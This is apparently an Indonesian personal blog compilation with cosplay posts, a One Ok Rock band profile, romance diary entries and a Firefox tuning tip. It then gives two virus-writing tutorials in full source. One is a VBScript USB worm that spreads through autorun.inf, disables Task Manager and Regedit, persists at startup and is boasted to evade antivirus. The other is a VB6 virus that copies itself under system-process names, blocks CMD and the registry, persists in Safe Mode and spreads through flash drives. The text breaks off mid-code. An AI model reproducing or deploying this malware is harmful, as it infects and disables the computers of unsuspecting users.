foto foto gue wkt cosplay gue d unj kemarin..
seneng banget deh ,,.
sebagai cosplayer gue bangga atas kerja keras gue n temen tmen gue..
cosplay kemaren gue jadi SASUKE SHIPPUUDEN JOTAI 1.
check foto foto gue GAN,,.!

One Ok Rock

One Ok Rock (stylized as ONE OK ROCK) is a Japanese rock band formed in 2005, composed of four members: Taka, Toru, Ryota, and Tomoya. They originally consisted of fifth member, Alex, but he has left the group since.

The band had various singles that entered the Oricon charts, catapulting them as one of the most promising artists in the Japanese rock scene. They have released four albums as of 2010, and with the success of their latest album Niche Syndrome they solidified their J-rock status in Japan and across the globe.

History

The foundation for One Ok Rock began when Toru Yamashita, then a high school student, wanted to start a band. Toru told his friend Ryota Kohama, who had been a fellow member of hip hop dance group, Heads, to learn the Bass and asked Alex to join. After seeing Taka, a vocalist, perform in a cover band, Toru saw him as the best possible candidate for a vocalist in their band, and insisted that he join. Tomoya, the last member to join, joined One Ok Rock as a drummer in 2007.^[2] Tomoya had played with the band on all their albums but only became an official member when they debuted.

The band's name, One Ok Rock, came from "one o'clock," the time that the band used to practice on weekends. However, noticing that the Japanese language made no distinction between r's and l's, they changed "o'clock" to "o'crock" (or "o'krock") which then was separated to become "ok rock".^[2]

After Alex left the band in May 2009, the band released the single "Kanzen Kankaku Dreamer" on February 3, 2010. It was featured 9th in the Weekly Oricon Charts. They released their fourth studio album titled Niche Syndrome on June 9, 2010. Their next single "Answer Is Near" was released on February 16, 2011.

The band released their first double A-side single "Re:make/No Scared" on July 20, 2011, the latter song being the main theme for the Black Rock Shooter videogame.^[3][4]

The band's fifth album, Zankyo Reference is scheduled to be released on October 5, 2011.

 Members

• Taka (森田 貴寬 Moriuchi Takahiro^?, born April 17, 1988 in Tokyo) is the main vocalist of the group. He is the son of Shinichi Mori. Prior to debuting with One Ok Rock, he was a member of NEWS, a Japanese Music Group under Johnny's Entertainment.
• Toru (山下 亨 Yamashita Tōru^?, born December 7, 1988 in Osaka) is the guitarist of the group. He also contributes some vocals. He was a member of the hip-hop dance group Heads.
• Ryota (小浜 良太 Kohama Ryōta^?, born September 4, 1989 in Osaka) is the bassist of the group. He was also a member of Heads.
• Tomoya (神吉 智也 Kanki Tomoya^?, born June 27, 1987 in Hyogo) is the drummer of the group.

Former members

• Alexander Onizawa^[5] (born March 19, 1988 in San Francisco) was the guitarist of the group alongside with Toru, until he left in May 2009^[5] after being arrested on charges of groping.^[6]

Discography

Albums

Year	Information	Oricon charts
		Weekly [7]	Sales
2007	Zeitakubyō Released: November 21, 2007	15	26,000
2008	Beam of Light Released: May 28, 2008	17	13,000
	Kanjō Effect Released: November 12, 2008	13	22,000
2010	Niche Syndrome Released: June 9, 2010	4	26,000
2011	Zankyo Reference Release: October 5, 2011	2	66,011

EPs

Year	Title	Oricon charts
		Weekly [7]	Sales
2006	One Ok Rock Released: November 21, 2006	—	—
	Keep It Real Released: May 28, 2006	102	4,700

Singles

Year	Title	Chart positions			Oricon sales	Album
		Oricon Singles Charts [7]	Billboard Japan Hot 100* [8]	RIAJ digital tracks* [9]
2007	"Naihi Shinso" (内秘心書 Keep It Inside?)	48	—	—	15,000	Zeitakubyō
	"Yume Yume" (努努-ゆめゆめ- Absolutely?)	43	—	—	9,200
	"Et Cetera" (エトセトラ Eto Setora?)	29	—	—	6,700
2008	"Hitsuzen Maker" (必然メーカー Necessary Maker?) †	—	—	—	—	Beam of Light
	"Koi no Aibō Kokoro no Cupid" (恋ノアイボウ心ノクピド Love Companion, Cupid of the Heart?) †	—	—	—	—	Kanjō Effect
2010	"Kanzen Kankaku Dreamer" (完全感覚Dreamer Perfect Sensation Dreamer?)	9	45	53	17,000	Niche Syndrome
	"Jibun Rock" (じぶんROCK Rock of Yourself?) ‡	—	—	98	—
2011	"Answer Is Near" (アンサイズニア)	6	13	27	37,000	Zankyo Reference
2011	"Re:make/NO SCARED"	6	10	21	46,000

60 Days to End 'single-ism

yakk..
sperti judul dia atas..
ini adalah kisah antara sepasang manusia yg dilanda galau!
inget GALAU!
keanya gue sebel ama kata itu, paling males klo ada yg ngomong kata  GALAU!..--a
dimulai dr abis pulang kuliah ..
gw ke konter di warjok..
pake celana 3/4 n baju item, jalan jalan gak jelas kea ga ada tujuan *emang..
dan pada akhirnya gue beli plsa aha aja biar gak GALAU!..
pas gue colok aha n gue buka jejaring sosial bernama pesbuk..*facebook
gw di chat ama si bewokk..
pertamanya basa basi dlu beli gitar, eh taunya dia mau nembak..
*bukan gue..
tp seseorang yg bisa dibilang inceran gitu..
gebetanlah bahasa gaolnya..
dan si bewok memunculkan permainan GILA!
*bukan tusbol
Permainan ini disebut 60 Days to End 'single-ism'. Wkwkwk
Permainan yang simpel, sesuai dengan sebutannya, dalam waktu 60 hari, salah satu dari kami harus bisa dapetin cewe yang lagi di incer masing-masing. Rentan waktu 29 Oktober - 29 Desember, mungkin lebih dari cukup.
Entah muncul dari mana ide permainan ini, tapi keliatannya seru banget, tertantang! Haha
Yang bisa ngerebut hati sang pujaan dalem waktu 60 hari ini, bakal di traktir sepuasnya ama yang kalah.
Permainan ini juga ada rulesnya:

• Waktu yang di kasih 60 hari, 29 Oktober - 29 Desember
• Jika salah satu pemain sudah bisa mendapatkan yang di incer sebelum waktu yg di tentukan, bakal di traktir ama yang kalah
• Jika salah satu pemain udah nembak yang di incernya, tapi di tolak. Maka pemain itu gugur dan pemain yg lain mempunyai kesempetan. Tapi jika pemain ini di tolak juga, permainan berakhir.
• Makanan yang di traktir berupa 2 Porsi Burger ekstra jumbo+1 Minuman Mocca float

nah ada 1 masalah lagi nih..
cewe yg gue incer ini mantanya temen gue..
tp karena sudah deal jadinya LANJUTGAN!!
oke sekarang tinggal usaha , kerja keras , n sering sering beli pulsa supaya bisa pdkt..
doakan saya menang kawan.
coblos no 10000000..
oke..
*efek galau--a

curhat

flashback ke kisah gue masa sma yg surem..
masa paling surem gue pas kelas 3 ..
tapi pas kelas 1 n 2 jg gue surem..
surem kenapa?
karena status sosial antara gue n tmen tmen gue..
ya pkoknya gak jauh jauh dari soal "CINTA"
mending wkt masa smp gue..
yg gak ngarti tentang "CINTA"..
yg dipikirin cuma main game di warnet..
nah balik lg ke surem wkt sma..
gw pernah suka sama tmen sma gue..
wkt itu dia anak ips..
*gw ipa..
keanya gak perlu gue sebutin namanya..
ahh pokoknya surem dehh.
wkt itu kita jadian smpe 1 bulan..
eh akhirnya gw dputusin krn alesan yg paling gue benci..
ehm..
*MATERI*
gue emg co yg gak pnya materi memadai pada saat itu..
biasa lah ce kan berharap ada yg bisa anter jemput dia wkt sklah..
nah nasib gue kea gt ya gw terima aja dehh..
krn terlalu dilema gw jadi males yg namanya pacaran..
akhirnya gw terjun ke musik..
nah asik tuh gw di situ..
gw ambil aliran japanese rock..
krn gw jg suka jejepangan gw diajak temen gue masuk japanese club..
wkt itu club jepang gw diajak gabung ama jrs buat bikin cosplay group..
minat banget gue..
nah cosplay yg pertama gw pilih adalah "SASUKE"
gak mirip mirip banget sih..
tp ada 1 hal yg paling mirip antara gue n sasuke.
sama sama laki laki..(y)
cosplay pertama gue blum pnya costum..

pas cosplay kedua baru dah gue beraksi..
gaya gaya gmn gt ..
ni picnya

nah..
stelah bbrp lama akhirnya masuk bulan puasa deh..
wkt itu cosplay pertama gue di cilegon..
cosplay di ramcil..
wkt itu bubar bareng anak cosplayer dsana..
nah so pasti gue jadi sasuke juga..

nah pas lagi cosplay dsini gw ngliat sesosok cewe yg memikat hati gw..
orangnya baik n welcome ke orang lain jg..
ane sempet foto bareng ama dia ..

wah waktu itu hati gw jd berbunga bunge getoo..
wkwkw..
--a
keanya stelah cosplay dstu gw pontang panting nanya ke smua orang yg ada di seluruh dunia buat minta nope tu cewe..
wkt itu gak sempet nanya nama'a..
iwaw..*lebay

akhirnya gw nanya ke temenya tuhh yg cosplay bareng jg..
eh akhirnya dapet dehh..
ibarat dapet durian runtuh..
haha senengnya bukan main..
*lebay lg
nah dari situ smsn tuhh..
sampe jalan bareng..
wkt itu sih gw masih nebeng ama tmen ane gan..
maklum sperti yg di atas ane gak pnya "MATERI"
wkt itu sekitar jam 4 sore..
ane nyatain tuh perasaan ke dia..
namaya INDAH..
weew..
bela belain beli plsa 10 rb dlu buat nelpon..
*lebay lg
haha..
deg degan hati ini..
eh pas dia bilang IYA..
langsung loncat ane gann..
kea abis diterima ama cewe..*emg bener
wah pokonya seneng..
nah dari sinilah dimulai masa surem kelas 3..
stlah pacaran gan.. tanggal 12 sept 2009 jam 4.36 sore..
awalnya sih sneng sneng aja..
pas kesana kesana'a perasaan itu muncul ..
perasaan pesimis yg di ikutin kata yg paling gue benci.
"MATERI"
ahh..
pkoknya tekanan batin gt deh ..
sampe diledekin ama tmen tmen yg laen..
paling sakit itu ..
paling hampir putus asa..
tp karena pacar sayanya wkt itu pengertian n baik banget..
di sabar sabarin dehh..
kata yg masih terngiang di kuping ane smpe skrng..
"kok mamingn ce'a yg jemput sihh co'a gak modal amat.."
uhh sakit banget ada yg ngmg kya gt..
huhu T__T
tp sabar adalah modal utama..


bersambung

band saya sora sky

 ini band ane . namanya sora sky..

ini waktu perform lagu asian kungfu generation - haruka kanata

ini waktu band ane lagi cosplay, nama anggota paling kiri< candra, gue(azhhaa), chandra, yaumu ama hardi..

ini waktu lagu kedua ,, laruku yang stay away..

vamps - piano duet

cara cepet browser pake mozilla firefox

Cara Hack Mozilla Firefox Supaya Cepat & Maksimal

Meningkatkan Kecepatan Mozilla Firefox

Keunggulan browser Firefox selain disinyalir sebagai browser tercepat, teraman, tercerdas dan terbaik dari seluruh browser yang ada, Firefox pun memiliki dukungan pihak ketiga yang disebut add-ons, seperti halnya wordpress sebagai cms terbaik yang memiliki pendukung (developer) banyak dengan berbagai plugin yang bisa digunakan untuk memaksimalkan kemampuan blog Anda, begitu dengan dengan browser Firefox banyak pilihan plugin yang sebagiannya pernah saya gunakan.

Namun jika Anda belum menggunakan Firefox saya sarankan cepat gunakan Firefox versi terbaru, Firefox 3.5.X. Anda bisa mendownloadnya disini dan rasakan menjelajahi dunia maya dengan kecepatan maksimal, aman dan lebih lebih baik.

Firefox memang browser tercepat tapi tahukah Anda jika Firefox bisa di optimalkan lagi? Bisa dipercepat lagi? Ya, Anda bisa menambah kecepatan browsing menggunakan Firefox dan bisa menambah lagi kecepatannya dengan sedikit trik. Bisa dibayangkan sudah cepat kemudian ditambah lagi kecepatannya? Pasti mantab kan? Saya sudah merasakannya! Sudahkan Anda?

Jika belum, berikut ini cara lebih mempercepat yang sudah cepat menjadi super cepat!

1.Buka Firefox

2.Pada address bar ketik about:config dan klik enter. Jika keluar tombol I’ll be careful, I promise! klik saja.

3.Klik kanan di layar Firefox yang Anda lihat (dimana saja di bawah Preference Name) kemudian arahkan mouse pada new lalu integer.

4.Pada kotak dialog New integer value – Enter the preference name isi dengan nglayout.initialpaint.delay lalu saat kotak dialog lain muncul isi nilainya (value) dengan 0 (nol).

5.Pada Filter Bar (Filter:) letaknya ada di bawah tab yg Anda buka ketik pipelining.

6.Klik dua kali (double klik) pada tulisan network.http.pipelining agar settingannya berubah menjadi true.

7.Lalu klik dua kali (double klik) pada network.http.pipelining.maxrequests setelah keluar kotak dialognya isi dengan nomor antara 10 hingga 30. Saya sendiri mengisi 30 untuk lebih maksimal.

8.Beres dan restart Firefox Anda.

Langkah di atas merupakan cara untuk memaksimalkan si cepat menjadi lebih cepat, cara mempercepat browsing menggunakan Firefox!

kocak nih

 buat lu yg lagi stres nih klik aja..


disini

disini

virus simple

Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
He..he…Virus Worm ini memang bukan murni dari pemikiran saya sendiri karena meniru kode-nya virus Rangga-Zay. Tapi yang ini lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.

azhha the hacker

virus buat ganggu microsoft office..


Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?
Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox
Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.
Masukan semua code di bawah ini pada form
==========================================
Private Declare Function FindWindow Lib “user32″ Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long ‘pencari Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib “user32″ Alias “SendMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long ‘sendmessage
Private Declare Function GetDriveType& Lib “Kernel32″ Alias “GetDriveTypeA” (ByVal nDrive As String) ‘ penghandel flashdisk
Private Declare Function ExitWindowsEx Lib “user32″ (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long ‘exit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8
Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk
Private Sub Form_Load()
On Error Resume Next
‘acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 2221189331445#) ‘silahkan masukan angka sesuka anda
‘menggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False ‘virus tidak terlihat di task manager
InfeksiRegistry
End Sub
Sub BuatWord()
On Error Resume Next
Set obj = CreateObject(“word.application”)
Set doc = CreateObject(“word.application”)
Set doc = obj.Documents.Add
doc.Content = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub
Sub BuatXls()
On Error Resume Next
Set obj = CreateObject(“excel.application”)
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub
Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell”, “Explorer.exe” & ” “”" & FolderMyDocuments & “\services.exe”"” ‘virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell”, FolderFavorites & “\SalamKenal.exe” ‘virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderTemplates & “\smss.exe” ‘smss.exe berjalan pada saat startup
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderSendTo & “\System.exe” ‘System.exe berjalan pada saat startup
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘search pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘Ssearch pd star menu hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\Control Panel\Colors\WindowText”, “255 0 0″, “REG_SZ” ‘DEFAULT TEKS MENJADI MERAH
RegRun.regwrite “HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\”, FolderFavorites & “\SalamKenal.exe” ‘Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun”, 1, “REG_DWORD” ‘Autorun pada CD atau USB
End Sub
Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & “\Winlogon.exe”) <> “Winlogon.exe” Then ‘mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian
FileCopy FolderStartUp & “\Winlogon.exe”, FlashDisk & “\Winlogon.exe”
SetAttr FlashDisk & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub
Sub BuatFileAutorunInf()
‘membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & “\Autorun.Inf” For Output As 1
Print #1, “[AutoRun]”
Print #1, “Icon=Winlogon.exe” ‘Agar FlashDisk Memiliki Icon Sama dengan Virus
Print #1, “Open=Winlogon.exe”
Print #1, “ShellExecute=Winlogon.exe”
Print #1, “Shell\Open\Command=Winlogon.exe”
Print #1, “Shell=Open”
Close #1
SetAttr FlashDisk & “\Autorun.Inf”, vbHidden + vbSystem + vbReadOnly
End Sub
Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject(“WScript.Shell”)
FolderStartUp = RegRun.specialfolders(“StartUp”)
FolderMyDocuments = RegRun.specialfolders(“MyDocuments”)
FolderTemplates = RegRun.specialfolders(“Templates”)
FolderNetHood = RegRun.specialfolders(“NetHood”)
FolderPrintHood = RegRun.specialfolders(“PrintHood”)
FolderFavorites = RegRun.specialfolders(“Favorites”)
FolderSendTo = RegRun.specialfolders(“SendTo”)
FolderPrograms = RegRun.specialfolders(“Programs”)
On Error Resume Next
‘membuat virus dengan nama winlogon.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderStartUp & “\WinLogon.Exe”
SetAttr FolderStartUp & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama services.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderMyDocuments & “\services.Exe”
SetAttr FolderMyDocuments & “\services.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama smss.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderTemplates & “\smss.Exe”
SetAttr FolderTemplates & “\smss.Exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama csrss.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrintHood & “\csrss.Exe”
SetAttr FolderPrintHood & “\csrss.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama Isass.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderNetHood & “\Isass.Exe”
SetAttr FolderNetHood & “\Isass.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama SalamKenal.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderFavorites & “\SalamKenal.Exe”
SetAttr FolderFavorites & “\SalamKenal.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama System.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderSendTo & “\System.Exe”
SetAttr FolderSendTo & “\System.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama ctfmon.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrograms & “\ctfmon.Exe”
SetAttr FolderPrograms & “\ctfmon.exe”, vbHidden + vbSystem + vbReadOnly
End Sub
Private Sub Timer1_Timer() ‘Timer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow(“OpusApp”, “Document1 – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(“OpusApp”, “New Microsoft Word Document.doc – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
